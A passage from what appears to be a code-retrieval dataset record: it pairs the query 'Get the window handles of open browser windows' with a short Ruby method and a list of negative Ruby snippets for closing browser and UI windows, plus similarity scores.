"def close()\r\n #puts \"current window number is : #{@@current_window}\"\r\n # Derek Berner 5/16/08\r\n # Try to join thread only if there is exactly one open window\r\n if js_eval(\"getWindows().length\").to_i == 1\r\n $jssh_socket.send(\" getWindows()[0].close(); \\n\", 0)\r\n @t.join if @t != nil\r\n #sleep 5\r\n else\r\n # Check if window exists, because there may be the case that it has been closed by click event on some element.\r\n # For e.g: Close Button, Close this Window link etc.\r\n window_number = find_window(\"url\", @window_url)\r\n\r\n # If matching window found. Close the window.\r\n if(window_number > 0)\r\n $jssh_socket.send(\" getWindows()[#{window_number}].close();\\n\", 0)\r\n read_socket();\r\n end \r\n \r\n #Get the parent window url from the stack and return that window.\r\n #@@current_window = @@window_stack.pop()\r\n @window_url = @@window_stack.pop()\r\n @window_title = @@window_stack.pop()\r\n # Find window with this url.\r\n window_number = find_window(\"url\", @window_url)\r\n @@current_window = window_number\r\n set_browser_document()\r\n end\r\n end",
"def close_current_window()\n $driver.close.should be_nil\n # Just in case\n $driver.switch_to.window($driver.window_handles.last).should be_nil\n end",
"def close_other_windows\n cur_window = browser.window_handle\n browser.window_handles.each do |window|\n next if window.eql?(cur_window)\n\n browser.switch_to.window(window)\n browser.close\n end\n browser.switch_to.window(cur_window)\n end",
"def close\n @window.close\n end",
"def close_window(close_loc = :current, active_loc = nil)\n if @browser.windows.count == 1\n # doesn't matter what they enter, bc closing the only window of a browser\n # instance causes the browser to crash\n @browser.close\n end\n\n\n if close_loc == :current\n # if the current window is being closed, we have to move to another before closing it\n if active_loc.nil?\n # if new active window is unspecified, make the previous window the new active one\n self.switch_to_previous_window\n else\n self.switch_to_window(active_loc)\n end\n else\n # a specific window to be closed has been specified (though it may still be the active one)\n if close_loc[0..3] == 'url=' or close_loc[0..5] == 'title='\n if @browser.window(parse_location(close_loc)).current?\n # if the current window is being closed, we have to move to another before closing it\n if active_loc.nil?\n # if new active window is unspecified, make the previous window the new active one\n self.switch_to_previous_window\n else\n self.switch_to_window(active_loc)\n end\n end\n @browser.window(parse_location(close_loc)).close\n else\n # assume close_loc is an integer\n # since Robot Framework sends all args as text, the above check for\n # \"url=\" and \"title=\" is the best we can do to ensure argument correctness\n close_loc = close_loc.to_i\n # the number of the window\n # user-facing numbers are 1-based, internal we use 0-based because @browser.windows\n # is a Ruby array, so minus 1\n window_id = close_loc - 1\n if window_id == -1\n # either the user has been too smart for his/her own good and thinks the windows are 0-based,\n # or they've entered text that doesn't match 'url=' or 'title=', in which case\n # the above loc.to_i will make loc equal 0\n raise(ArgumentError, \"You must provide the url or title of the window in the format 'url=' or 'title=', or you must provide the number of the window, starting with 1 for the first window opened.\")\n end\n \n if @browser.windows[window_id].current?\n # if the current window is being closed, we have to move to another before closing it\n if active_loc.nil?\n # if new active window is unspecified, make the previous window the new active one\n self.switch_to_previous_window\n else\n self.switch_to_window(active_loc)\n end\n end\n # this will throw its own error if the index is out of range\n @browser.windows[window_id].close\n end\n end\n end",
"def close\n @window.destroy if @window\n @window = nil\n end",
"def close\n @window.destroy if @window\n VER::stop_ncurses\n end",
"def close_window\n $LOG.info \"Inside close window method\"\n begin\n $driver.close\n rescue Exception => e\n $LOG.error \"Error Close the current window, \\n Error Message :: \"+e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"Error Close the current window \\n Error Message :: \"+e.message\n end\n end",
"def close\n start_time = Time.now\n is_open = true\n while is_open\n abort(\"*** #{File.basename(__FILE__)}: Window #{@id} did not close - your settings may need adjusting. Exiting...\") if Time.now - start_time > 2\n is_open = win_is_open?(@id)\n end\n end",
"def close_window\n end",
"def close_other_window\n @window_id = (@window_id - 1).abs\n if @window_id != 0 and @window_id !=1\n raise(Exception::WindowMatchError, \"You cannot use this keyword when more than 2 windows are open; you must use 'Switch To Window', 'Switch to Next Window', or 'Switch to Previous Window'\")\n end\n\n @browser.windows[@window_id].close\n end",
"def close_blank_windows\n @driver.window_handles.each do |handle|\n @driver.switch_to.window(handle)\n @driver.close if @driver.current_url == 'about:blank'\n end\n end",
"def XOclose\n\t\tsleep TIMETICK\n\n\t\tbegin\n\t\t\[email protected]\n\t\trescue\n#\t\t\t::Process.kill('KILL', browser_pid)\n\t\tend\n\t\t$alog.lwrite('Browser closed!', 'DEBG')\n\t\treturn retControl(OK)\n\tend",
"def close_browser\r\n if @web_browser\r\n # Old TestWise version\r\n # @web_browser.close_browser unless $TESTWISE_LEAVE_BROWSER_OPEN_AFTER_RUN\r\n @web_browser.close_browser\r\n else\r\n\t\t\t\tclose_all_browsers\r\n end\r\n end",
"def CloseWindow\n @window.hide\n Gtk.main_quit\n end",
"def quit\n @browser.close\n end",
"def close_new_window\n $driver.close\nend",
"def close_game\r\n $window.close\r\n end",
"def close!\n @controller.close! if @controller\n FFI::NCurses.endwin\n Process.exit!\n end",
"def close_browser\n @browser.close # Same for watir-webdriver and selenium-webdriver.\n end",
"def close\n SLogger.debug(\"[client] interrupting window (#{@window_pid})...\")\n\n Process.kill(:INT, @window_pid)\n end",
"def close_window(options = {})\n win_name = if(options.is_a?(Hash))\n [(options[:window] || options[:name]).to_s]\n elsif(options.is_a?(Array))\n options.map(&:to_s)\n else\n [options.to_s]\n end\n win_name.each do |win|\n self << check_for_window(win, false){ self << \"#{window(win, :raw)}.dialog('close');\"}\n end\n end",
"def close_browser\n\t\[email protected]\n\tend",
"def close\n Window.functions[__method__] ||= AU3_Function.new(\"WinClose\", 'SS', 'L')\n Window.functions[__method__].call(@title.wide, @text.wide)\n nil\n end",
"def windowWillClose(notification)\n OSX::NSApp.terminate(self)\n end",
"def windowWillClose(notification)\n OSX::NSApp.terminate(self)\n end",
"def close_browser\n if @web_browser\n # Old iTest2 version\n # @web_browser.close_browser unless $ITEST2_LEAVE_BROWSER_OPEN_AFTER_RUN\n @web_browser.close_browser\n else\n WebBrowser.close_all_browsers\n end\n end",
"def close_browser\r\n @browser.quit\r\n sleep 1\r\n end",
"def stopBrowser()\n\t\n\t#@browser.close_current_browser_session()\n\[email protected]\n\t\nend",
"def close_page\n Logbook.message('Closing browser page >>')\n\n if @browser.nil?\n Logbook.error('Page is already closed')\n else\n @browser.close\n Logbook.message('Done! Page closed')\n end\n end",
"def should_close?\n @window.should_close?\n end",
"def ensure_only_one_browser_window_open\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n if (browser_count > 1)\n for i in (browser_count - 1) .. 1\n browser(i).close\n end\n end\n\n browser(0)\n end",
"def dispose_active_window\n @active_window.dispose\n @active_window = nil\n end",
"def dispose_active_window\n @active_window.dispose\n @active_window = nil\n end",
"def XOcloseWindow(tag, tvalue)\n\t\tres= OK\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# default is OK\n\t\tbegin\n\t\t\tself.setPageTimer() \t\t\t\t\t\t\t\t\t\t# set or clear the page timer\n\t\t\t$pfd.tstart( @wwBrws.url.to_s)\n\t\t\ttimedOut= false\n\n\t\t\t$alog.lwrite(('There are '[email protected]_s+' active windows.'), 'DEBG')\n\n\t\t\tcase tag\n\t\t\t\twhen :allpopup\n\t\t\t\t\tres= @winHandles.closeAllHandle( self)\n\n\t\t\t\twhen :index\n\t\t\t\t\tuntil ((timedOut=self.getPageTimer()) || @wwBrws.window(:index => tvalue).exists?)\n\t\t\t\t\t\tsleep TIMETICK\n\t\t\t\t\tend\n\t\t\t\t\tif timedOut\n\t\t\t\t\t\tres= CRITICAL\n\t\t\t\t\telse\n\t\t\t\t\t\tres= @winHandles.closeHandle( self, tvalue)\n\t\t\t\t\tend\n\n\t\t\t\twhen :url\n\t\t\t\t\tuntil ((timedOut=self.getPageTimer()) || @wwBrws.window(:url => /#{tvalue}/).exists?)\n\t\t\t\t\t\tsleep TIMETICK\n\t\t\t\t\tend\n\t\t\t\t\tif timedOut\n\t\t\t\t\t\tres= CRITICAL\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected](:url => /#{tvalue}/).close\n\t\t\t\t\tend\n\t\t\t\twhen :title\n\t\t\t\t\tuntil ((timedOut=self.getPageTimer()) || @wwBrws.window(:title => /#{tvalue}/).exists?)\n\t\t\t\t\t\tsleep TIMETICK\n\t\t\t\t\tend\n\t\t\t\t\tif timedOut\n\t\t\t\t\t\tres= CRITICAL\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected](:title => /#{tvalue}/).close\n\t\t\t\t\tend\n\t\t\tend\n\n\t\t\tif(res==CRITICAL)\n\t\t\t\tres= setResCritical('CANnot close window: '+$!.to_s )\n\t\t\telse\n\t\t\t\t$alog.lwrite(('Now using Windows w/title '[email protected]_s+' '), 'DEBG')\n\t\t\tend\n\t\trescue\n\t\t\tres= setResCritical('CANnot close window: '+$!.to_s )\n\t\tend\n\t\treturnRes (res )\n\tend",
"def close\n \"<body onload='window.close();'/>\"\n end",
"def exit_session\n @window.dispose\n @viewport.dispose\n ShellOptions.save\n end",
"def close_multiple_browsers(browser_instance)\n\n# if browser_instance == \"ie\"\n# Sys::ProcTable.ps.each{|ps|\n# if ps.name.downcase==browser_instance+\"xplore.exe\"\n# Process.kill('KILL',ps.pid)\n# end}\n# end\n# if browser_instance != \"ie\"\n $browser.close\n# end\n end",
"def close\n return if closed?\n\n nocbreak\n close_screen\n end",
"def close_browser_tab(position:)\n @browser.windows[position - 1].close\n end",
"def exit\n @window.pause = true\n @window.close\n end",
"def close_browser b\n begin\n Moose.msg.info(\"Closing Watir browser!\")\n b.close\n rescue => e\n Moose.msg.error(\"Unable to close browser using Watir browser.close! - #{e.message}\")\n begin\n b.quit\n rescue Errno::ESRCH => e\n Moose.msg.error(\"Unable to kill browser using Process.kill!\")\n else\n Moose.msg.info(\"Killed browser!\")\n end\n else\n Moose.msg.info(\"Closed browser!\")\n end\n end",
"def quit_browser\n @browser.quit\n end",
"def close_all_browsers\r\n\t\t\t@web_browser.close_all_browsers\r\n end",
"def quitbrowser\n @browser.quit\n end",
"def close(wait_timeout=nil)\n @main_window.close\n if wait_timeout\n timeout(wait_timeout) do\n sleep SLEEP_DELAY while @main_window.window?\n end\n end\n# @main_window.wait_for_close(timeout) if timeout - does not work as Window#wait_for_close relies on window_visible?\n end",
"def close_game\n show\n Ncurses.mvaddstr(MAXY - 1, 0, 'Press any key to exit')\n Ncurses.getch\n Ncurses.curs_set(1)\n Ncurses.endwin\n end",
"def close_browser\n Logbook.step('Stop webdriver. The End of a test:)')\n @browser.quit\n Logbook.publish_results\n end",
"def close_browser\n $LOG.info \"Inside close browser method\"\n begin\n $driver.quit\n rescue Exception => e\n $LOG.error \"Error in quiting browser and ending session\" + e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"Error in quiting browser and ending session \\n Error Message ::\" + e.message\n end\n end",
"def close \n #Self trigger window lost focus, since we are going to home\n focus_changed false, @screen_width, @screen_height\n @showing = false\n @activity.moveTaskToBack(true)\n end",
"def close\n Processing::App.current = nil\n control_panel.remove if respond_to?(:control_panel) && !online?\n container = (@frame || JRUBY_APPLET)\n container.remove(self)\n self.destroy\n container.dispose\n end",
"def close_all_windows\n setup_windows\n self << '\n jQuery.each(\n window_rails_windows_array,\n function(name, win){\n window.window_rails_windows[win].dialog(\"close\");\n }\n );\n '\n end",
"def Close\r\n\r\n # Close browser\r\n $browser.close\r\n $headless.destroy\r\n\r\nend",
"def closeBrowser(step)\n @browser.quit\n end",
"def close_all_browsers\n if is_firefox?\n FireWatir::Firefox.close_all\n else\n Watir::IE.close_all\n end\n end",
"def stopBrowser()\n\t\n\t$browser.stop\n\t\nend",
"def stopBrowser()\n\t\n\t$browser.stop\n\t\nend",
"def stopBrowser()\n\t\n\t$browser.stop\n\t\nend",
"def Animate_Close(hwnd)\r\n Animate_Open(hwnd, nil)\r\n end",
"def close_popups\n return if driver.doc.at('.cb_close').nil?\n driver.first('.cb_close').click\n end",
"def close_status_window\n instance_variables.each do |varname|\n ivar = instance_variable_get(varname)\n ivar.openness = 0 if ivar.is_a?(Window)\n end\n end",
"def close\n wait_for_exists\n @alert.dismiss\n @browser.after_hooks.run\n end",
"def switch_next_window\n cur_window = browser.window_handle\n browser.close\n browser.window_handles.each do |window|\n next if window.eql?(cur_window)\n\n browser.switch_to.window(window)\n break\n end\n end",
"def kill_browser\n Praline::kill_browser\n end",
"def destroy\n @window.destroy\n @forms.each { |f| w = f.window; w.destroy unless w.nil? }\n end",
"def exit\n stop\n $window.deleteAllWidgets\n $window.createWidgets\n $window.deleteAllImages\n $window.cursor.unforceVisible\n terminate\n end",
"def clean_up\n @browser.close if @browser && @browser.exists?\n quit \"Later, noobs\"\n end",
"def close_message_window\n return unless @message_window\n while $game_temp.message_window_showing\n Graphics.update\n yield if block_given?\n @message_window.update\n end\n end",
"def close_popup\n popup.deactivate\n x = Graphics.width\n y = @help_window.height\n if $imported[\"H87_SmoothMovements\"]\n @option_window.smooth_move(0, y)\n popup.smooth_move(x, y)\n else\n @option_window.x = 0\n popup.x = x\n end\n @option_window.activate\n @popup_index = nil\n end",
"def close_popup\n popup.deactivate\n x = Graphics.width\n y = @help_window.height\n if $imported[\"H87_SmoothMovements\"]\n @option_window.smooth_move(0, y)\n popup.smooth_move(x, y)\n else\n @option_window.x = 0\n popup.x = x\n end\n @option_window.activate\n @popup_index = nil\n end",
"def exit_application\n @view.close\n end",
"def close\n return if @closed\n @closed = true\n @rpc.close\n @rpc = nil\n @browser.close if @close_browser\n self\n end",
"def close\n {\n method: \"Page.close\"\n }\n end",
"def test_24_stopbrowser()\n\t\t\n\t\t$workBook.Save\n\t\t$workBook.Close\n\t\t$excel.Quit\n\t\tstopBrowser()\n\t\t\n\tend",
"def current_window\n @driver.window_handle\n rescue Selenium::WebDriver::Error::NoSuchWindowError\n nil\n end",
"def ensure_only_one_browser_window_open\n $tracer.trace(\"PowerUpRewardsDSL : #{__method__}, Line : #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n if(browser_count > 1)\n for i in (browser_count - 1) .. 1\n browser(i).close\n end\n end\n\n browser(0)\n end",
"def close\r\n unbind\r\n # try to stop eventmachine loop\r\n EM.stop rescue\r\n @on_close.call if @on_close\r\n WinRM::Log.debug(\":session => :close\")\r\n end",
"def close(browser)\n disable_proxy # disabling proxy is part of closing process\n kill_all_arg = \"\"\n case browser\n when 'chrome'\n kill_all_arg = 'Google Chrome'\n when 'firefox'\n kill_all_arg = 'firefox'\n when 'safari'\n kill_all_arg = 'Safari'\n end\n `killall -SIGTERM #{kill_all_arg}`\nend",
"def ensure_open_window\n window_handles = @selenium.window_handles\n\n if window_handles.size == 0\n @javascript.run( 'window.open()' )\n @selenium.switch_to.window( @selenium.window_handles.last )\n else\n if window_handles.size > 1\n # Keep the first\n window_handles[1..-1].each do |handle|\n @selenium.switch_to.window( handle )\n @selenium.close\n end\n\n @selenium.switch_to.window( @selenium.window_handles.first )\n end\n\n @selenium.navigate.to 'about:blank'\n end\n\n @selenium.manage.window.resize_to( @width, @height )\n end",
"def close_internal_frame(title)\n append_to_script \"close_internal_frame \\\"#{title}\\\"\"\n end",
"def delwin\n Ncurses.delwin(pointer)\n pointer = nil\n end",
"def on_MainWindow_destroy\n @wfsock.close\n Gtk.main_quit\n end",
"def close_window_with_key_press(win_name, key, *opts)\n wait_start\n key_press_direct(key, *opts)\n wait_for_window_close(win_name)\n end",
"def close_window_with_key_press(win_name, key, *opts)\n wait_start\n key_press_direct(key, *opts)\n wait_for_window_close(win_name)\n end",
"def close_browsers_and_delete_cookies\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n close_all\n m = $options.silent_mode\n $options.silent_mode = true\n if (os_name == \"mswin32\")\n ie\n mozilla\n elsif (os_name == \"darwin\")\n safari\n end\n for i in 0..(browser_count - 1)\n browser(i).cookie.all.delete\n end\n close_all\n $options.silent_mode = m\n end",
"def quit()\n @ole.Quit()\n end",
"def close_all_dialogs\n win_id = driver.getActiveWindowID()\n until quick_window(:id, win_id).type != :dialog do\n win = quick_window(:id, driver.getActiveWindowID())\n if win.type == :dialog\n close_dialog(win.name)\n if (driver.getActiveWindowID() != win_id)\n win_id = driver.getActiveWindowID()\n else\n break\n end\n end\n end\n end",
"def close\n Highgui.release_capture(FFI::MemoryPointer.new(:pointer).write_pointer(@capture_handler))\n @capture_handler = nil\n end",
"def close_window_with_action(win_name, action_name, *params)\n wait_start\n opera_desktop_action(action_name, *params) \n wait_for_window_close(win_name)\n end",
"def ui_close\n\t\t\t\t#puts \"CursesApp->ui_close\"\n\t\t\t\t\n\t\t\t\traise 'ui already closed' if @ui_closed\n\t\t\t\t@ui_closed = true\n\t\t\t\t\n\t\t\t\t# Curses.setpos(10, 0)\n\t\t\t\t# Curses.addstr('CLOSE ')\n\t\t\t\t# Curses.refresh\n\t\t\t\t# sleep(2)\n\t\t\t\t\n\t\t\t\tCurses.refresh\n\t\t\t\tCurses.stdscr.clear\n\t\t\t\tCurses.stdscr.refresh\n\t\t\t\tCurses.stdscr.close\n\t\t\t\tCurses.close_screen\n\t\t\tend",
"def close_attached_browser(browser_handle)\n close_browser(browser_handle)\nend",
"def close\n Native.close == 1\n end",
"def close_window_with_action(win_name, action_name, *params)\n wait_start\n opera_desktop_action(action_name, *params)\n wait_for_window_close(win_name)\n end",
"def close_page\n raise Exception.new(\"Not in page\") unless @in_page\n @cur_page.close\n @cur_page = nil\n @in_page = false\n end",
"def close_all_dialogs\n win_id = driver.getActiveQuickWindowID()\n until quick_window(:id, win_id).type != :dialog do\n win = quick_window(:id, driver.getActiveQuickWindowID())\n if win.type == :dialog\n close_dialog(win.name)\n if (driver.getActiveQuickWindowID() != win_id)\n win_id = driver.getActiveQuickWindowID()\n else\n break\n end\n end\n end\n end",
"def shell_close()\n self.kill\n end",
"def destroy\n @window.destroy\n respond_to do |format|\n format.html { redirect_to windows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # typically the ensure block should have this\n\n #$log.debug \"win destroy start\"\n\n $global_windows.delete self\n Ncurses::Panel.del_panel(@panel.pointer) if @panel\n delwin() if @window \n Ncurses::Panel.update_panels # added so below window does not need to do this 2011-10-1 \n\n # destroy any pads that were created by widgets using get_pad\n @pads.each { |pad| \n FFI::NCurses.delwin(pad) if pad \n pad = nil\n } if @pads\n # added here to hopefully take care of this issue once and for all. \n # Whenever any window is destroyed, the root window is repainted.\n #\n # 2014-08-18 - 20:35 trying out without refresh all since lower dialog gets erased\n Window.refresh_all\n #$log.debug \"win destroy end\"\n end",
"def close\r\n command 'close'\r\n end",
"def close\r\n command 'close'\r\n end",
"def close_browser_redmine?\n ENV['CLOSE_BROWSER']\n end"
] | [
"0.78896767",
"0.7718472",
"0.766629",
"0.76594883",
"0.7577414",
"0.75425416",
"0.73647845",
"0.70748276",
"0.7019478",
"0.7011655",
"0.7007609",
"0.69853216",
"0.6936468",
"0.6897215",
"0.68433434",
"0.68182796",
"0.68169916",
"0.6808719",
"0.67738056",
"0.6765209",
"0.6759607",
"0.6754439",
"0.66802746",
"0.66710263",
"0.6660218",
"0.6660218",
"0.6653007",
"0.661053",
"0.6593844",
"0.65801084",
"0.65620047",
"0.6525456",
"0.6507546",
"0.6507546",
"0.64851445",
"0.64446545",
"0.6414497",
"0.64116967",
"0.6406863",
"0.6402534",
"0.63899934",
"0.63774633",
"0.6311481",
"0.6254882",
"0.6233896",
"0.61956555",
"0.61473966",
"0.6138102",
"0.61153215",
"0.61119115",
"0.609856",
"0.60595816",
"0.60293734",
"0.60250056",
"0.59989727",
"0.5998205",
"0.5998205",
"0.5998205",
"0.59339106",
"0.59241563",
"0.5921905",
"0.591936",
"0.59029293",
"0.5868564",
"0.58587813",
"0.58421874",
"0.57949847",
"0.5794382",
"0.578486",
"0.578486",
"0.577995",
"0.57512146",
"0.56883246",
"0.5688148",
"0.5678642",
"0.56713843",
"0.5648499",
"0.56478405",
"0.56454",
"0.564481",
"0.56390065",
"0.560482",
"0.559714",
"0.559714",
"0.5591099",
"0.5572425",
"0.5572067",
"0.556855",
"0.55593365",
"0.5536677",
"0.5513105",
"0.5506186",
"0.550076",
"0.5476598",
"0.54722",
"0.54703677",
"0.54657197",
"0.5463855",
"0.54623824",
"0.54623824",
"0.54609907"
] | 0.0 | -1 |
Get the window handles of open browser windows. | def window_handles
bridge.window_handles
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def window_handles\n driver.window_handles\n end",
"def windows\n @driver.getWindowList.map do |java_window|\n QuickWindow.new(self,java_window)\n end.to_a\n end",
"def get_window_count\n return @browser.windows.count\n end",
"def firefox_windows(w = nil)\n\t\t\tcollection = []\n\t\t\twindows = nil\n\t\t\tif w\n\t\t\t\twindows = [w]\n\t\t\telse\n\t\t\t\twindows = X11::Display.instance.screens.collect{|s| s.root_window}\n\t\t\tend\n\t\t\twindows.each do |window|\n\t\t\t\tif window.class == 'Gecko'\n\t\t\t\t\tcollection << window\n\t\t\t\tend\n\t\t\t\twindow.children.each do |c|\n\t\t\t\t\tcollection << firefox_windows(c)\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn collection.flatten.compact\n\t\tend",
"def window_handles; end",
"def windows(window = nil)\n @windows ||= []\n if window\n @windows << window\n @windows.uniq!\n end\n @windows\n end",
"def windows\n IITWindowCollection.new(@ole.Windows)\n end",
"def get_window_number()\r\n $jssh_socket.send(\"getWindows().length;\\n\", 0)\r\n @@current_window = read_socket().to_i - 1\r\n \r\n # Derek Berner 5/16/08 \r\n # If at any time a non-browser window like the \"Downloads\" window \r\n # pops up, it will become the topmost window, so make sure we \r\n # ignore it.\r\n @@current_window = js_eval(\"getWindows().length\").to_i - 1\r\n while js_eval(\"getWindows()[#{@@current_window}].getBrowser\") == ''\r\n @@current_window -= 1;\r\n end\r\n\r\n # This will store the information about the window.\r\n #@@window_stack.push(@@current_window)\r\n #puts \"here in get_window_number window number is #{@@current_window}\"\r\n return @@current_window\r\n end",
"def find_windows(options = {})\n query = XDo::FFILib::XDoSearch.from_options options\n windows_pointer = FFI::MemoryPointer.new :pointer, 1\n count_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_search @_pointer, query, windows_pointer,\n count_pointer\n count = count_pointer.read_ulong\n windows = windows_pointer.read_pointer.read_array_of_long(count)\n windows.map { |window| XDo::Window.new self, window }\n end",
"def collect_visible_windows\n scene = SceneManager.scene\n scene.instance_variables.collect do |varname|\n scene.instance_variable_get(varname)\n end.select do |ivar|\n ivar.is_a?(Window) && !ivar.disposed? && ivar.visible\n end\n end",
"def window_handle\n bridge.window_handle\n end",
"def window_handle\n driver.window_handle\n end",
"def open_pages\n quick_windows.select { |win| win.name == \"Document Window\" }\n end",
"def window_titles\n @_window_titles\n end",
"def hwnd\n Functions.control_hwnd(@window.hwnd, @locators)\n end",
"def named_windows\n return [] unless children\n children.inject([]) do | names, child |\n names << child.name if child.name\n names += child.named_windows if child.kind_of?(Parent)\n names\n end\n end",
"def window_handle; end",
"def current_window\n @driver.window_handle\n rescue Selenium::WebDriver::Error::NoSuchWindowError\n nil\n end",
"def get_window_area()\n get_children_area(\"WINDOW\")\n end",
"def item_list_windows\n instance_variables.map{ |v|instance_variable_get v}.select{|w|w.is_a?(Window_ShopItems) }\n end",
"def get_window_area()\n get_children_area(\"WINDOW\")\n end",
"def [](value)\n old = 'using indexing with windows'\n new = 'Browser#switch_window or Browser#window with :title, :url or :element selectors'\n reference = 'http://watir.com/window_indexes'\n Watir.logger.deprecate old, new, reference: reference, ids: [:window_index]\n\n window_list[value]\n end",
"def darwin_app_list\n [ find_executable( \"open\" ) ]\n end",
"def store_all_window_names variable_name\r\n command 'storeAllWindowNames', variable_name\r\n end",
"def store_active_windows\n restore_active_windows\n @windows.each do |win|\n if win.active\n @active_windows.push(win)\n win.deactivate\n end\n end\n end",
"def windows_processes\n\t\trequire 'win32ole'\n\t\twmi = WIN32OLE.connect(\"winmgmts://\")\n\t\twmi.ExecQuery(\"select * from win32_process\").map do |proc_info|\n\t\t\tparse_oleprocinfo(proc_info)\n\t\tend\n\tend",
"def windows_processes\n\t\trequire 'win32ole'\n\t\twmi = WIN32OLE.connect(\"winmgmts://\")\n\t\twmi.ExecQuery(\"select * from win32_process\").map do |proc_info|\n\t\t\tparse_oleprocinfo(proc_info)\n\t\tend\n\tend",
"def each\n (0..VIM::Window.count - 1).each do |ix|\n yield Window.new(VIM::Window[ix])\n end\n end",
"def active_window\n if File.exists?(wmii_namespace)\n 'wmiir cat /client/sel/ctl | sed 1q'\n else\n %q[xprop -root _NET_ACTIVE_WINDOW | awk '/#/ { print $(NF) ; exit } END { exit 1 }' || xdotool getwindowfocus]\n end\nend",
"def windows?; end",
"def open_files\n `lsof -p #{Process.pid} -F n`.split(/\\n/).sort\n end",
"def window\n @win\n end",
"def windowed_page_numbers\n inner_window, outer_window = @options[:inner_window].to_i, @options[:outer_window].to_i\n\n # override inner window -VS\n # we want to always display all the pages\n inner_window = total_pages.to_i\n\n window_from = current_page - inner_window\n window_to = current_page + inner_window\n\n # adjust lower or upper limit if other is out of bounds\n if window_to > total_pages\n window_from -= window_to - total_pages\n window_to = total_pages\n end\n if window_from < 1\n window_to += 1 - window_from\n window_from = 1\n window_to = total_pages if window_to > total_pages\n end\n\n # these are always visible\n middle = window_from..window_to\n\n # left window\n if outer_window + 3 < middle.first # there's a gap\n left = (1..(outer_window + 1)).to_a\n left << :gap\n else # runs into visible pages\n left = 1...middle.first\n end\n\n # right window\n if total_pages - outer_window - 2 > middle.last # again, gap\n right = ((total_pages - outer_window)..total_pages).to_a\n right.unshift :gap\n else # runs into visible pages\n right = (middle.last + 1)..total_pages\n end\n\n left.to_a + middle.to_a + right.to_a\n end",
"def find_all_children( window_handle )\n\n\t\t\[email protected](\"Finding all children for handle #{window_handle}\")\n\t\t\t\n\t\t\t# Process the parent window.\n\t\t\tif (@allChildren[window_handle] == nil)\n\t\t\t\t@allChildren[window_handle] = Window.new(window_handle)\n\t\t\tend\n\t\n\t\t\t# Enumerate the control's children.\n\t\t\tif (@childProcCalled[window_handle] == nil)\n\t\t\t\t# Enumeration has not been called on this control, so call it.\n\t\t\t\t@@EnumChildWindows.call(window_handle, @GetChildHandleProc, nil)\n\t\t\t\t\n\t\t\t\t@childProcCalled[window_handle] = 1\n\t\t\t\t\n\t\t\t\t# While the array of children to call is not empty, recurse\n\t\t\t\t# children.\n\t\t\t\twhile (@childrenToCall.first != nil)\n\t\t\t\t\thandle = @childrenToCall.shift\n\t\t\t\t\tfind_all_children( handle )\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def selected_window\n list_windows[@command_window.item]\n end",
"def active_handles\n uvloop = Ext::UvLoop.new @pointer\n uvloop[:active_handles]\n end",
"def browsers\n @browsers ||= @data[\"agents\"].keys.map{|b| PUBLIC_BROWSER_NAMES[b] }.sort\n end",
"def active_local_sockets\n @local_forwarded_sockets.keys\n end",
"def find_parent_process_with_hwnd pid\n while hwnd=pid_to_hwnd[pid].nil?\n pid = find_parent_pid(pid)\n return nil unless pid\n end\n return [pid,hwnd]\n end",
"def window_id\n return (env = to_i!(ENV['WINDOWID'])) if env\n \n curr_pid = Process.pid\n until curr_pid.to_i < 2\n file = environ_file(curr_pid)\n if file and (xid = to_i!(file.read.scan(/(?<=WINDOWID=)\\d+/)[0]))\n return xid\n else\n curr_pid = ppid_of(curr_pid)\n end\n end\n \n end",
"def window\r\n return $window\r\n end",
"def window_icons\n # Load them\n load_window_icons\n @gtk_window_icons.freeze\n # Once loaded, we only need a reader\n self.class.send(:define_method, :window_icons) do\n @gtk_window_icons\n end\n # Return the value\n window_icons\n end",
"def window_icons\n # Load them\n load_window_icons\n @gtk_window_icons.freeze\n # Once loaded, we only need a reader\n self.class.send(:define_method, :window_icons) do\n @gtk_window_icons\n end\n # Return the value\n window_icons\n end",
"def active_window\n windows = @terminal.windows.get\n windows.detect do |window|\n window.properties_.get[:frontmost] rescue false\n end\n end",
"def active_window\n windows = @terminal.windows.get\n windows.detect do |window|\n window.properties_.get[:frontmost] rescue false\n end\n end",
"def get_process_array(wmi)\r\n # This looks clumsy, but the processes object doesn't support #map. :)\r\n processes=wmi.ExecQuery(\"select * from win32_process where name='WINWORD.EXE'\")\r\n ary=[]\r\n processes.each {|p|\r\n ary << p.ProcessId\r\n }\r\n processes=nil\r\n ary\r\nend",
"def window\n @session.request(:vim_get_current_window)\n end",
"def get_window_size\n Ncurses.refresh\n cols, rows = [], []\n Ncurses.stdscr.getmaxyx rows, cols\n [rows.first, cols.first]\n end",
"def windowed_page_numbers\n inner_window, outer_window = @options[:inner_window].to_i, @options[:outer_window].to_i\n window_from = current_page - inner_window\n window_to = current_page + inner_window\n \n # adjust lower or upper limit if other is out of bounds\n if window_to > total_pages\n window_from -= window_to - total_pages\n window_to = total_pages\n end\n if window_from < 1\n window_to += 1 - window_from\n window_from = 1\n window_to = total_pages if window_to > total_pages\n end\n \n visible = (1..total_pages).to_a\n left_gap = (2 + outer_window)...window_from\n right_gap = (window_to + 1)...(total_pages - outer_window)\n \n # replace page numbers that shouldn't be visible with `:gap`\n [right_gap, left_gap].each do |gap|\n if (gap.last - gap.first) > 1\n visible -= gap.to_a\n visible.insert(gap.first - 1, :gap)\n end\n end\n \n visible\n end",
"def get_window_object()\n driver.manage.window\nend",
"def get_window_object()\n driver.manage.window\nend",
"def close_other_windows\n cur_window = browser.window_handle\n browser.window_handles.each do |window|\n next if window.eql?(cur_window)\n\n browser.switch_to.window(window)\n browser.close\n end\n browser.switch_to.window(cur_window)\n end",
